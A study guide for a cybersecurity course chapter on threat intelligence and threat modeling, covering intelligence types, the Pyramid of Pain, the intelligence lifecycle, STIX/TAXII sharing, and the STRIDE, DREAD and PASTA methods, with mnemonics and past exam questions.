How the three fit together. The deck's intelligence type comparison (type, time horizon, primary audience) reads: strategic, months to years, CISO, board and executives; operational, days to weeks, SOC managers and IR teams; tactical or technical, hours to real time, SOC analysts, SIEM and EDR. Mature TI programs layer all three types: strategic informs what to hunt for (and what to worry about), operational tells the SOC where and how the attack is coming, and tactical gives the tools the raw data to act automatically. Tactical indicators sit at the bottom of the Pyramid of Pain; the TTPs in operational and strategic reports sit at the top.
The class notes' version of the three, which answers the same question from another angle:
- Strategic: the long-term "who" and "why": TTP trends, industry-specific targeting, and the intent, motivations and capabilities of adversaries. Decision makers use it for high-level decisions, risk management and threat modeling; an APT intelligence report is a typical product.
- Operational: daily or weekly intelligence on specific emerging threats, such as a new ransomware or DDoS campaign, giving the context, mechanisms and indicators that support proactive incident response.
- Tactical: immediate or near real time (NRT) information on the "what" and "how": specific adversary TTPs and indicators of compromise (IoCs), often raw feeds such as CSV files of malicious IPs, domains and file hashes, fed straight into the SIEM and other operational security tools.
- Define Threat Intelligence. Describe the three types of threat intelligence, Strategic, Tactical, and Operational, explaining the target audience and purpose of each. Notes prediction, ch 3 Q1 · 2+6
The Pyramid of Pain: which indicators hurt the attacker PREDICTED
The logic: every indicator is something the attacker can change. Blocking it helps only until they change it, so the value of an indicator to the defender equals the cost to the attacker of replacing it. The model lets a team judge how effective its indicators are, and get the most value from its security investment.
Bringing it together, the deck sums the pyramid up in one line: harder IoCs to detect mean a greater cost imposed on adversaries. The bottom is easy for the attacker to rotate; the top is the hardest to change.
To remember it: a micro bus conductor wants to stop a pickpocket. Remembering his red jacket (a hash) fails the next day, when he wears a blue one; remembering his phone number (an IP address) fails when he buys a new SIM for a hundred rupees; but once every conductor knows his method, pressing close at the door in the rush hour and slitting bags with a blade (his TTP), he has to learn a whole new trade.
| Level | Example | Pain | What the attacker must do to get past the block |
|---|---|---|---|
| 1. Hash values | the SHA-256 of a dropper | Trivial | recompile, or change one byte: the hash is new |
| 2. IP addresses | a command and control server's address | Easy | move to another server, cloud host or proxy |
| 3. Domain names | a phishing domain | Simple | register another for a few dollars; domain generation algorithms make thousands |
| 4. Network and host artifacts | a URI pattern, a User-Agent string, a registry key, a mutex name, a file path | Annoying | reconfigure or recompile the tool |
| 5. Tools | a credential dumper such as Mimikatz, a particular remote access trojan | Challenging | find or build a new tool, then learn it |
| 6. TTPs | dumping credentials from memory; an Office document launching PowerShell | Tough! | change how they operate: retrain, retool, redesign the attack |
Why moving up the pyramid is more effective for a defender:
- Bottom of the pyramid (low value): indicators expire fast. Blocking a hash or an IP address is trivial or easy for the attacker to overcome: a slightly altered sample has a new hash, a different server a new address. These are disposable resources, so a block stops one sample or one server and the attacker is back within minutes. The defender is on a treadmill whose speed the attacker sets.
- Top of the pyramid (high value): it imposes real cost. Detecting and responding to the attacker's tools and, above all, its TTPs makes success challenging and tough: the attacker must abandon its preferred methods, develop new tools and change how it operates, which takes weeks and money. It can neutralize a whole attack methodology, and often the attacker gives up on the target, which is the goal of defense.
- High indicators generalize. A detection for the behavior "Word starts PowerShell" catches every macro campaign, whatever its hash, IP or domain: one detection covers many campaigns and many actors.
- Longer shelf life. A TTP detection stays useful for months or years; a hash list for hours.
- It lines up with ATT&CK. MITRE ATT&CK is a catalog of TTPs, so detection and hunting built on it work at the top of the pyramid by design (ATT&CK).
The trade-off: indicators at the bottom are cheap, exact and easy to automate (tactical feeds do it); those at the top need good telemetry, skilled analysts and tuning, and produce more false positives. A real programme automates the bottom and spends its human effort at the top.
- Block the attachment's hash: the attacker repacks the file and sends it again the same afternoon.
- Block the sending domain: a new domain arrives the next day.
- Detect the behavior itself, an Office application starting a script interpreter that downloads and runs code: the campaign now fails whatever the file, domain or server, until the actor changes its whole delivery method.
- Explain the Pyramid of Pain framework. Describe why moving up the pyramid from indicators like hash values and IP addresses to an adversary's TTPs (Tactics, Techniques, and Procedures) is more effective for a defender. Notes prediction, ch 3 Q6 · 3+5
The threat intelligence lifecycle: six phases in a loop PREDICTED
Each phase depends on the one before it. Vague requirements produce irrelevant collection, unprocessed data wastes the analysts' time, and analysis that never reaches the right reader changes nothing. That is why it is drawn as a loop and not a pipeline.
Every phase has a job, a usual failure, and a cost when it is missing. The deck gives each phase a slide of its own; this table carries all six:
| Phase and its job | What it is, and what happens | Common failure | Without this phase |
|---|---|---|---|
| 1. Planning and direction: decide what you need to know before you collect anything | defines the intelligence requirements, the specific questions the organization needs answered to make security decisions, and so sets the scope and priority of everything after it. Stakeholders (CISO, SOC, IR team) define the priority intelligence requirements (PIRs); these become specific questions ("which APTs target our sector?"); collection sources and methods are chosen to fit them; timelines, formats and consumers of the finished intelligence are agreed; existing gaps are documented to guide collection | skipping the phase entirely: the team goes straight to collecting threat feeds without defining which decisions they must support, and produces volumes of data nobody acts on | the team collects data at random, produces intelligence nobody asked for, and wastes every resource downstream: it collects everything and uses nothing |
| 2. Collection: gather raw data from the sources relevant to the requirements | the systematic gathering of raw data. "Raw" is the key word: it is not yet intelligence, and the quality of collection directly limits the quality of the finished product. Sources (in detail): OSINT (open web, dark web forums, paste sites, social media, CVE databases); commercial feeds and platforms (Recorded Future, Mandiant, CrowdStrike); government and ISAC sharing (CISA alerts, FS-ISAC, sector communities); internal telemetry (SIEM logs, EDR alerts, firewall data, incident records); human intelligence (trusted peer networks, vendor briefings, conferences) | collecting everything available, whatever phase 1 decided: enormous volumes of irrelevant data overwhelm the analysts. "Threat intel fatigue" is almost always a collection problem, not an analysis one | analysts have no raw material to work with, or are buried in irrelevant data that obscures genuine signals |
| 3. Processing: transform raw data into a form analysts can actually work with | normalizes, deduplicates, translates and structures the data so that analysis can be applied efficiently. It is largely technical and increasingly automated, and adds no judgment: it makes analysis possible. Parsing structured feeds (STIX/TAXII bundles, CSV IoC lists, JSON threat data); normalization to a common schema (MISP, OpenCTI); deduplication of indicators repeated across sources; filtering out what the requirements do not need; translation of foreign-language reports and technical logs; enrichment (IP geolocation, WHOIS on domains, VirusTotal, Shodan) | sending raw, unprocessed data straight to analysts, who then spend most of their time processing. An analyst manually parsing CSV files is not doing analysis but a job that should be automated | analysts waste their scarce, skilled time on data cleaning instead of producing intelligence, and the whole cycle slows to a crawl |
| 4. Analysis: the human step, where data becomes intelligence | skilled human judgment applied to processed data to answer the requirements: the only phase that cannot be fully automated. Assess source reliability and information credibility; identify patterns, correlations and anomalies; apply adversary models (MITRE ATT&CK, the Diamond Model); assign confidence levels (high, medium, low); produce finished products (strategic reports, operational briefs, IoC feeds), each tailored to its audience and decision | producing products without stating the confidence or the evidence base: decision makers then treat low-confidence assessments as facts, or dismiss high-confidence ones as speculation, because the difference was never communicated | the team produces data products, not intelligence: decision makers receive information they cannot act on, because it lacks judgment, context and clear recommendations |
| 5. Dissemination: right intelligence, right person, right format, right time | delivery of finished intelligence to the people and systems that need it; format, timing and audience matter as much as content, and a perfect report sent to the wrong person in the wrong format is as useless as none. Strategic reports (PDF, slide deck) to the CISO, board and risk committees; operational briefs (email alert, ticket) to SOC managers and IR leads; tactical IoC feeds (STIX/TAXII, CSV, API) pushed into SIEM, firewall and EDR; briefings timed to decision cycles, not to when the analyst finishes; access controls, since not every product suits every audience; TLP markings for sharing boundaries | producing one format for all audiences: a 40-page APT report to a firewall administrator, a raw IP blocklist to the CISO. Intelligence that does not reach its consumer in a usable form might as well not exist | intelligence sits in reports nobody reads, reaches the wrong people, or arrives too late to inform the decision it was meant to support |
| 6. Feedback: close the loop, or the cycle slowly breaks down | structured input from consumers back to producers on whether the intelligence was accurate, timely, relevant and actionable; it is what makes the lifecycle a cycle rather than a pipeline. Consumers rate the products (accurate? timely? acted on?); requirements are reviewed and updated; collection sources are reprioritized (drop low-signal sources, add new ones); analysis methods are refined where assessments proved wrong or overconfident; dissemination formats are improved; new gaps from operations go back to phase 1 | treating feedback as optional: the team keeps producing the same products, not knowing whether they are read, acted on or ignored, and the cycle gradually detaches from the organization's actual security needs | the cycle runs open-loop: requirements stop reflecting real needs, quality degrades silently, and the team loses credibility with its stakeholders |
Answers: the six phases of the threat intelligence lifecycle, in order, from planning and direction to feedback.
How it decodes: Six words, six phases, initials in order. It reads as the priest, sipping his tea, flung off his own dhoti. Two P's: Pujari, the first word, is planning and direction; Piudai, the third, is processing.
- PPujari Planning and direction: the PIRs, the questions the decisions depend on
- CChiya Collection: raw data from the sources that can answer them
- PPiudai Processing: parse, normalize, deduplicate, enrich
- AAafno Analysis: the human judgement, with a stated confidence
- DDhoti Dissemination: the right reader, format and time
- FFyaakyo Feedback: was it useful? the loop closes
To remember it: you already run this loop before every exam. You decide which chapters carry the marks (planning), gather past papers and notes (collection), sort the questions by chapter (processing), notice that the kill chain was set in all three sittings (analysis), share a one-page list with friends the night before (dissemination), and after the exam check it against what was actually asked (feedback).
- Planning: before a new digital banking rollout, the bank's CISO sets three PIRs: (1) which threat actors target mobile banking infrastructure? (2) what are the current attack trends against fintech APIs? (3) what fraud techniques are emerging in our region?
- Collection: for PIR 2, the team subscribes to OWASP API Security feeds, pulls dark web chatter about API key theft tools, ingests CISA advisories tagged API security, and reviews the last 90 days of its own API gateway logs for anomalous patterns.
- Processing: everything goes into the team's MISP instance; duplicate IPs from three different feeds are merged, foreign-language dark web posts machine translated, and every indicator enriched with WHOIS, VirusTotal and Shodan data before an analyst sees it.
- Analysis: an analyst correlates three separate incidents that use the same attack pattern, BOLA (Broken Object Level Authorization), maps it to the OWASP API Security Top 10 and to ATT&CK T1078 (Valid Accounts), assesses with HIGH confidence that it is an active campaign, and writes a brief for the development security team.
- Dissemination: the brief goes to the development security team as a two-page technical memo (operational); a summary of the broader trend goes to the CISO as three slides before the quarterly risk review (strategic); the IoCs are pushed automatically over TAXII to the API gateway's web application firewall (tactical).
- Feedback: the SOC manager reports that the IoC feed was useful at once, but the technical memo arrived after they had already patched, and asks for active exploitation to be flagged earlier. The team adds a faster alert trigger for active campaigns to PIR 2, and a 24-hour SLA (service level agreement) for operational-grade findings.
BOLA, the flaw in that example: an API that returns whatever object the request
names, without checking that the caller owns it. Change /accounts/1001 to
/accounts/1002 in a request and another customer's account comes back. It is the
first entry (API1) of the OWASP API Security Top 10, OWASP's list of the ten most
critical API security risks, and it is exactly the flaw that the proactive design review in
3.2 catches before launch (threat modeling).
Two conventions every analyst uses:
- The Admiralty code grades each report twice: the source's reliability from A (completely reliable) to F (cannot be judged), and the information's credibility from 1 (confirmed by other sources) to 6 (cannot be judged). "B2" means a usually reliable source reporting something probably true.
- The Traffic Light Protocol (TLP 2.0, FIRST) marks how far a report may travel: TLP:RED named recipients only; TLP:AMBER+STRICT within the recipient's organization; TLP:AMBER the organization and its clients, on a need to know basis; TLP:GREEN the wider community, not the public; TLP:CLEAR no limit.
- Explain the threat intelligence lifecycle with a neat diagram. What are the main sources of threat intelligence, and how is it shared between organizations? Predicted, ch 3 Q1 · 6+4
Where threat intelligence comes from, and how it is shared PREDICTED
| Source | What it gives | Examples | Strength and limit |
|---|---|---|---|
| Open source (OSINT) | public reports, vulnerability databases, researcher blogs, paste sites, social media, dark web forums | the NVD CVE database, CISA's Known Exploited Vulnerabilities catalog, abuse.ch feeds, AlienVault OTX, vendor blogs | free and broad; noisy and uneven, so it must be verified |
| Commercial feeds and platforms | curated, analyzed intelligence with context and confidence | Recorded Future, Mandiant, CrowdStrike | analyzed and timely; costly, and generic unless tuned |
| Government and ISACs | alerts and advisories, shared among organizations of one sector | CISA alerts, national CERTs, FS-ISAC for financial services | relevant and trusted; needs membership and follows sharing rules |
| Internal telemetry | what attackers actually tried against you | SIEM logs, EDR alerts, firewall and proxy logs, incident records, phishing emails staff report | the most relevant of all; shows only what you can already see |
| Human intelligence | early warnings and context from people | trusted peer groups of CISOs, vendor briefings, conferences | early and rich; informal and hard to scale |
To remember the five: think of how a tole learns about a burglar. It reads the newspaper (open source), pays a security company for its weekly report (commercial), gets the police circular sent to every ward office (government and ISACs), replays its own CCTV (internal telemetry), and takes a call from a neighbour who saw a stranger asking which houses are empty during Dashain (human).
Sharing standards, so that one organization's finding becomes another's block within minutes:
- STIX (Structured Threat Information eXpression): a JSON language that describes intelligence as objects (indicator, malware, threat actor, attack pattern, campaign) and the relationships between them. Now an OASIS standard.
- TAXII (Trusted Automated eXchange of Intelligence Information): the HTTPS protocol that carries STIX between servers and clients. STIX is the letter, TAXII the postal service.
- MISP and OpenCTI: open-source platforms that store indicators, correlate them and share them inside a community. A commercial threat intelligence platform (TIP) does the same and pushes the result to SIEM, firewall and EDR.
- TLP markings on every report set how far it may be shared (lifecycle).
{
"type": "indicator",
"spec_version": "2.1",
"name": "Phishing domain used in a payroll lure",
"pattern": "[domain-name:value = 'payroll-portal.example']",
"pattern_type": "stix",
"valid_from": "2026-03-04T00:00:00Z"
}
Using intelligence in a SIEM, as the class notes show with Logpoint, takes two steps (see the SIEM pipeline):
- Field mapping: tell the SIEM which of its normalized log fields
(
source_address,destination_address,url,hash) match which fields of the feed (ip_address,domain,category). One feed field may map to several log fields. - Enrichment: every incoming log is checked against the intelligence table; on a match the SIEM adds the feed's context to the event, turning a plain firewall log into a high-fidelity alert.
A feed lists 203.0.113.45 as a command and control server (first seen
yesterday, confidence high, TLP:GREEN). The SIEM maps the feed's ip_address to
destination_address. A firewall log with
destination_address=203.0.113.45 arrives, is tagged
threat_category=C&C and threat_score=100, and raises an alert
naming the internal host that made the connection. The class notes' Logpoint example is the
same with destination_address=66.66.66.66: a plain log entry turned into a
high-fidelity alert, automatically.
Judging a source: good intelligence is relevant (it matters to this organization), timely (it arrives before the decision), accurate, and actionable (it says what to do).
Two cautions: a cloud or CDN address in a feed can block thousands of legitimate
sites, so shared infrastructure needs care; and reports write indicators defanged, as
hxxps://bad-domain[.]example, so that nobody clicks them by accident.
- Explain the threat intelligence lifecycle with a neat diagram. What are the main sources of threat intelligence, and how is it shared between organizations? Predicted, ch 3 Q1 · 6+4
3.2Threat modeling
Threat modeling: finding what can go wrong before an attacker does PREDICTED
The deck's motto for it: think like an attacker, build like a defender. Threat modeling treats security as a design concern, not an afterthought. The class notes define it as a security process in which potential threats are identified, categorized and analyzed, and add that it should begin early in design and continue throughout the system's lifecycle, as Microsoft's Security Development Lifecycle (SDL) does.
Four questions frame any threat modeling method (Adam Shostack's framing, used in the deck):
- What are we building? Model the system, usually as a data flow diagram.
- What can go wrong? Find the threats, with STRIDE, attack trees or ATT&CK.
- What are we going to do about it? Mitigate, transfer, accept or remove each threat (risk treatment).
- Did we do a good job? Review and test the model, and repeat it as the system changes.
Why do it: risks found early are cheapest to fix (a design change on a whiteboard against a patch after a breach); it avoids expensive reactive security; it lets the team decide from risk where to spend on controls; and it gives designers, developers and testers one shared picture of the threats.
How it is done: security, development, architecture and business people work through a structured exercise: map the system, identify threats, simulate attacker behavior, prioritize mitigations. It runs at design, during development, before release and periodically on live systems, because it is iterative.
Its goals (SD3+C), from the SDL, which puts threat modeling in the design phase: fewer security-related design and coding defects, and lower severity for any that remain, so the overall risk falls. The motto behind them is SD3+C: secure by design, secure by default, secure in deployment, and communication.
Proactive and reactive approaches:
| Point | Proactive (defensive) | Reactive (adversarial) |
|---|---|---|
| When | early: requirements and design, before or while code is written | after the product is built and deployed |
| Viewpoint | the defender's: predict threats from the design | the attacker's: try to break what exists |
| Methods | threat modeling of the design (data flow diagram and STRIDE), secure design review, the SDL | penetration testing, ethical hacking, source code review, fuzz testing |
| Output | defenses designed in: controls and security requirements | real vulnerabilities found, then fixed |
| Cost of a fix | lowest | highest: code changes, patches, perhaps a breach |
| Limit | cannot foresee everything; only as good as the model | finds flaws late; tests only what exists |
| Example | before a mobile banking app is coded, the data flow diagram shows the API trusting the account number the app sends; a server-side ownership check is added to every request | after launch, a penetration tester changes the account number in a request and reads another customer's balance; the fix needs a new release |
To remember it: proactive threat modeling is the architect drawing grilles on the ground floor windows of a new hostel before a single brick is laid; reactive testing is paying a friend to break into the finished hostel at night, then fixing whatever he got through. The grille on paper costs an eraser; the one after the break-in costs a mason, and maybe a laptop.
Fuzz testing is the reactive technique the notes single out: it feeds a program huge numbers of invalid, random or specially crafted inputs to stress its limits and find crashes, hangs and memory errors such as buffer overflows.
The two work together. Design review cannot foresee every flaw, and testing finds flaws late. A mature programme does both: threat modeling at design, then fuzzing and penetration testing at verification.
- Explain the concept of Threat Modeling. Differentiate between a proactive (defensive) approach and a reactive (adversarial) approach to threat modeling, providing a clear example for each. Notes prediction, ch 3 Q2 · 2+6
The threat modeling process, step by step PREDICTED
The vocabulary first (see chapter 1's terms):
- Asset: something of value to protect, such as the customer database.
- Threat: a possible event that could harm an asset, such as theft of card data.
- Threat actor: who or what carries the threat out: a criminal group, an insider, malware.
- Vulnerability: a weakness that makes the threat possible, such as unvalidated input.
- Attack: the action that uses a vulnerability to harm an asset.
- Attack scenario: one concrete story linking an actor, a vulnerability and an impact, such as "credential stuffing leads to account takeover", the unit that PASTA ranks.
- Countermeasure: a safeguard that addresses the threat.
Microsoft's house analogy: the jewelry is the asset, the burglar the attacker, an open door the vulnerability, and closing and locking the door the countermeasure.
The six steps (Microsoft patterns and practices, 2003):
- Identify assets: what must be protected, from data to the site's availability.
- Create an architecture overview: what the application does (its use cases), an architecture diagram with subsystems, trust boundaries and data flows, and the technologies used.
- Decompose the application: build its security profile (reduction analysis, below).
- Identify the threats: with the team at a whiteboard, using STRIDE per element, lists of common threats, and attack trees.
- Document the threats: in a template: description, target, attack techniques, countermeasures, with the risk left blank until step 6. The class notes: every identified threat is documented with its means, its target and its consequences.
- Rate the threats: fix the biggest first, rating each High, Medium or Low, as risk equals probability times damage potential, or with DREAD.
Three ways to identify threats: asset-focused (uses asset valuation to find the threats to the most valuable assets), attacker-focused (identifies the likely attackers and their goals to predict their actions) and software-focused (considers the threats against the software itself, its components and features).
The class notes' second sequence. Beside Microsoft's six steps, the notes walk through a four-step version, the order used in CISSP study material. It is the same work, grouped differently:
| Notes' step | What it does | Microsoft step |
|---|---|---|
| 1. Identifying threats | asset-focused, attacker-focused or software-focused, as above | 4 |
| 2. Determining and diagramming potential attacks | identify every technology involved (operating systems, applications, protocols) and draw the paths an attacker could take to a goal, usually as attack trees | 2 and 4 |
| 3. Performing reduction analysis | decompose the system into its trust boundaries, data flow paths, input points, privileged operations and security stance (below) | 3 |
| 4. Remediation of threats | document each threat (means, target, consequences), rank it High, Medium or Low or with DREAD, then decide the response | 5 and 6 |
Reduction analysis (decomposition) aims to understand the application's logic and how it interacts with external elements, and to avoid duplicated effort: code that many parts share, such as the same form fields, is analyzed once. It identifies five things, the class notes' 5 key concepts to identify:
- Trust boundaries: wherever the level of trust changes, such as internet to web server, or web application to database.
- Data flow paths: how data moves between components.
- Input points: where outside input enters: forms, APIs, file uploads.
- Privileged operations: actions that need more than normal rights, such as changing settings or reading the password store.
- Details about security stance and approach: the security policy, the foundations and the assumptions made.
Attack trees (Bruce Schneier, 1999) put the attacker's goal at the root and the ways to reach it as branches, down to single steps at the leaves. An AND node needs all its children, an OR node any one. Microsoft's example:
Goal: obtain user credentials by monitoring the network
1.1 clear-text credentials are sent over the network AND
1.2 the attacker runs a network monitoring tool
1.2.1 the attacker recognizes the credential data
Attack surface is the sum of all the points where an attacker can try to get in or get data out: open ports, running services, APIs, input fields, accounts, third-party links. The class notes define it as the sum of all the vulnerabilities or weaknesses in security controls that an attacker could exploit: the attack vectors.
Attack surface analysis is a proactive way to assess the strengths and weaknesses of the security controls. Thinking like an attacker, the team identifies the vulnerabilities, understands the threat landscape, and finds ways to minimize the attack vectors: close unused ports, remove unused features, retire old accounts.
- Describe the steps involved in the threat modeling process. What is reduction analysis, and which five elements does it identify? Predicted, ch 3 Q9 · 6+4
STRIDE: six categories of threat TOP 3/4
82 Bh · 82 int · 81 Bh10
What the deck and the notes stress: it was built in 1999 as a structured way to identify threats during system design; it is a threat categorization framework, a checklist of threat types that teams think through systematically; its six categories between them cover the full spectrum of security concerns; and, in the notes' words, it is used to categorize threats against applications or operating systems.
Each category is the violation of one security property, which makes both the threat and its countermeasure easy to remember:
| Letter | Threat | Property violated | Example | Countermeasure |
|---|---|---|---|---|
| S | Spoofing: pretending to be someone or something else to gain unauthorized access | authentication | logging in with stolen credentials; a forged sender; ARP spoofing | strong authentication, MFA, signed tokens |
| T | Tampering: unauthorized modification of data or code | integrity | changing the amount in a transfer request; editing a configuration file; SQL injection that updates records | validation, hashes and signatures, access control |
| R | Repudiation: denying having performed an action, with no way to prove otherwise | non-repudiation | a customer denies making a transfer, and no reliable log exists | tamper-evident audit logs, digital signatures, timestamps |
| I | Information disclosure: exposure of information to unauthorized parties | confidentiality | verbose error messages; an open storage bucket; sniffing clear-text traffic | encryption, access control, generic error pages |
| D | Denial of service: disrupting the availability of a system or service, so that legitimate users cannot reach it | availability | flooding a login page; one unbounded query that exhausts the database | rate limiting, quotas, redundancy, filtering |
| E | Elevation of privilege: gaining higher access rights than intended or authorized | authorization | a normal user reaching an admin API through a missing check; a buffer overflow that runs code as root | least privilege, an authorization check on every request, patching |
The class notes' one-line definitions, worth writing exactly so in a short answer:
- Spoofing: gaining access with a falsified identity, such as a fake IP address or username.
- Tampering: unauthorized modification of data.
- Repudiation: denying that an action was performed.
- Information disclosure: the revelation or distribution of private, confidential or controlled information to unauthorized entities.
- Denial of service: preventing legitimate users from accessing the system.
- Elevation of privilege: gaining higher-level permissions than authorized.
To remember it: attack the college results portal in your head. Log in as a friend with his password (spoofing), raise your own marks in the database (tampering), let the admin deny changing a grade when no log can prove it (repudiation), leak the whole batch's marks to a Viber group before they are published (information disclosure), crash the portal as every student refreshes on result day (denial of service), and open the admin page from a student account (elevation of privilege).
How it is applied. The team draws a data flow diagram of external entities, processes, data stores, data flows and the trust boundaries between them, then walks each element through the categories that can affect it. This is STRIDE per element:
| Element | S | T | R | I | D | E |
|---|---|---|---|---|---|---|
| External entity (a user, a partner system) | yes | yes | ||||
| Process (a web application, an API) | yes | yes | yes | yes | yes | yes |
| Data store (a database, a file) | yes | if it holds logs | yes | yes | ||
| Data flow (a network connection) | yes | yes | yes |
- S: an attacker logs in with a leaked password. Require MFA.
- T: the amount in a transfer request is changed in transit or in the browser. Validate on the server and sign the request.
- R: a customer denies a transfer. Keep a tamper-evident transaction log.
- I: a database backup is readable by all staff. Encrypt it and restrict access.
- D: a bot floods the login endpoint. Rate limit it.
- E: a customer calls an admin API directly. Check authorization on every endpoint.
Why it is so widely used: it is simple, systematic and understandable by developers and architects who are not security specialists; it works best early in design, while fixes are cheap; and Microsoft's free Threat Modeling Tool builds the diagram and suggests the threats. It is usually the first method a team learns.
Its limits: STRIDE sorts threats but does not rate them (that is DREAD) or tie them to business impact (that is PASTA), and it can produce long lists of threats of very different weight.
- a) Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b) Describe STRIDE and DREAD threat models in brief. 2082 Bhadra Q8 · 10
- a. Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b. Describe STRIDE and PASTA threat models in brief. 2082 internal Q7
- a) Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b) Describe STRIDE and PASTA threat models in brief. 2081 Bhadra Q7 · 10
- What is the STRIDE threat model? List and define three of its six categories. In the context of rating threats, explain the purpose of the DREAD rating system. Notes prediction, ch 3 Q5 · 4+4
DREAD: rating a threat with five questions HOT 1/4
82 Bh10
Its purpose. STRIDE, or any method of finding threats, leaves a list. DREAD answers the next question, "which first?", by turning each threat into comparable numbers, so the team argues about five specific questions instead of one vague "how bad is it?".
The deck's framing: a scoring model originally developed by Microsoft to rate the severity of security threats; each letter is a risk dimension, scored typically 1 to 10 or 1 to 3, and each asks a question:
| Letter | Question (the deck's wording) | A high score means |
|---|---|---|
| Damage potential | how severe is the harm if the vulnerability is exploited: data loss, system compromise, reputational damage? | full compromise, administrator rights, a data breach |
| Reproducibility | how easily can the attack be reproduced: can anyone replicate it, or does it need rare conditions? | it works every time, with no timing window |
| Exploitability | how much skill, effort or tooling does it take to launch the attack? | a novice could do it quickly with existing tools |
| Affected users | what proportion of users or systems would be hit: all users, just admins, a small subset? | all users, in the default configuration |
| Discoverability | how easy is it for an attacker to find the vulnerability in the first place: is it publicly known? | it is publicly known, or visible in the browser |
The class notes ask the five questions more briefly (note that their exploitability and discoverability ask "how hard", the reverse direction; see the box below):
- Damage potential: how severe will the damage be?
- Reproducibility: how easy is it to reproduce the attack?
- Exploitability: how hard is it to perform the attack?
- Affected users: what percentage of users are affected?
- Discoverability: how hard is it to find the weakness?
In the notes, DREAD is one way of ranking the documented threats; the other is a plain High, Medium or Low.
Scales. Each dimension is scored 1 to 10 and averaged, or, as in Microsoft's patterns and practices guide, 1 to 3 (low, medium, high) and summed to a total of 5 to 15: 12 to 15 high, 8 to 11 medium, 5 to 7 low.
To remember it: score an imagined leak of an exam paper on Viber. The damage is huge (the whole exam is void), it reproduces every time (the PDF opens for anyone), it is trivial to exploit (just forward it), the affected users are the whole batch, and it is discovered at once (it is in every group chat). The highest score on all five, so it is fixed first: a new paper is set.
A penetration test of a customer-facing web application finds three vulnerabilities. Scored 1 to 10, which is fixed first?
| Finding | D | R | E | A | D | Average | Rank |
|---|---|---|---|---|---|---|---|
| SQL injection on the login page | 9 | 9 | 8 | 10 | 8 | 8.8 | 1 |
| Admin panel reachable from the internet | 9 | 7 | 5 | 9 | 8 | 7.6 | 2 |
| Verbose errors showing the server version | 3 | 10 | 9 | 2 | 9 | 6.6 | 3 |
- SQL injection: hands over the whole database, automated tools make it easy, and every customer is exposed. Fix it now.
- Admin panel: as damaging if broken, but an attacker still needs a password, so it is harder to exploit. Put it behind a VPN or an address allow list, with MFA.
- Verbose errors: trivial to find and repeat, yet on their own they only leak information that feeds reconnaissance for the other two. Suppress them last.
Criticisms:
- Subjective: two analysts give the same threat different numbers.
- Discoverability rewards obscurity: a hidden flaw is still a flaw, so many teams always score it at the maximum.
- Inflation: the easy-to-repeat dimensions can push up harmless findings, as the verbose errors show.
Microsoft itself later stopped using DREAD, and many teams now rate with CVSS or a plain likelihood times impact matrix (risk analysis). It still works well as a structured conversation.
- a) Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b) Describe STRIDE and DREAD threat models in brief. 2082 Bhadra Q8 · 10
- Scenario: Penetration test on a customer-facing web application reveals three vulnerabilities: SQL injection on the login page. Exposed admin panel accessible from the public internet. Verbose error messages exposing server version information. Use risk scores between 1-10. Which one should you fix first? Deck, ch 3 Q1
- What is the STRIDE threat model? List and define three of its six categories. In the context of rating threats, explain the purpose of the DREAD rating system. Notes prediction, ch 3 Q5 · 4+4
PASTA: a seven-stage, risk-centric method TOP 2/4
82 int · 81 Bh10
The seven stages, with the abbreviations the class notes use:
- Define objectives (DO): understand the business goals, compliance requirements and risk appetite. What must the business achieve, and what kind of regulations need to be incorporated?
- Define the technical scope (DTS): map the technical environment, the attack surface: infrastructure, applications, dependencies and data flows, down to the API endpoints, the web application and the DNS servers.
- Application decomposition (ADA): break the application into components, data flows, trust boundaries, entry points and assets, to create context around how everything communicates and how it all comes together.
- Threat analysis (TA): identify realistic threats using threat intelligence, attacker profiles and historical data: what the application does, and which threats affect the attack surface defined in stage II. This is where ATT&CK plugs in.
- Vulnerability and weakness analysis (WVA): correlate known vulnerabilities (CVEs, code weaknesses found by SAST and DAST scans, misconfigurations) with the threats identified, and with the application's assets.
- Attack modeling and simulation (AMS): build attack trees and simulate how an attacker would actually chain the weaknesses to reach a goal, proving which of the things found vulnerable in stage V are really viable.
- Risk and impact analysis: quantify the business impact of each successful attack, prioritize the countermeasures accordingly, build the ones that mitigate the threats that matter, and decide the residual risk.
Answers: the seven stages of PASTA, in order. PASTA names the method, not its stages, so the letters of PASTA are no help here.
How it decodes: Seven words, seven stages, initials in order; each word carries the key noun of its stage. It reads as oi, mother-in-law, the daal is not hot, now I will make you cry: a daughter-in-law's threat, which suits a threat modeling method. Vayena is bhayena as it is typed in chat.
- OOi Objectives defined: business goals, compliance, risk appetite
- SSasu Scope, the technical one: the attack surface
- DDaal Decomposition of the application: components, flows, trust boundaries
- TTato Threat analysis: realistic attackers, from intelligence and ATT&CK
- VVayena Vulnerability and weakness analysis: known flaws matched to the threats
- AAba Attack modeling and simulation: attack trees, which chains really work
- RRuwauchhu Risk and impact analysis: what would hurt the business most; the crying is the impact
Why "risk-centric": the process opens with the business (stage I) and closes with business impact (stage VII), so every threat is judged by what it would cost the organization, not only by how technically interesting it is. The price is effort: PASTA suits high-value applications rather than every small tool.
Customers will view balances, transfer funds and pay bills.
Stage IV, threat actors:
| Threat actor | Motivation | Capability |
|---|---|---|
| Organized cybercriminal groups | financial gain | high |
| Opportunistic attackers | financial gain | low to medium |
| Malicious insiders (bank staff) | financial gain, sabotage | medium |
| Nation-state actors | espionage, disruption | very high |
Stage IV, the threats they pose: credential stuffing (leaked username and password lists used to get into accounts); man-in-the-middle (MitM) (intercepting the traffic between the mobile app and its API); API abuse (poorly secured endpoints used to reach account data without authorization); session hijacking (stolen session tokens used to impersonate legitimate users); insider fraud (privileged bank staff manipulating transactions or exfiltrating customer data); third-party compromise (attacking the bill payment gateway to intercept or redirect payments).
Stage V, threats correlated with the weaknesses that code review, SAST and DAST scanning and an infrastructure assessment found:
| Threat | Identified vulnerability |
|---|---|
| Credential stuffing (leaked password lists) | no account lockout; MFA not enforced for all users |
| Man-in-the-middle between app and API | no certificate pinning in the app |
| API abuse | several endpoints missing authorization checks |
| Session hijacking | session tokens never expire; no anomaly detection on session use |
| Insider fraud | excessive privileges for operations staff; no transaction audit logging |
| Third-party compromise | payment gateway connection not validated; no integrity checks on its responses |
Stage VII, attack scenarios ranked by business impact:
| Attack scenario | Likelihood | Business impact | Priority |
|---|---|---|---|
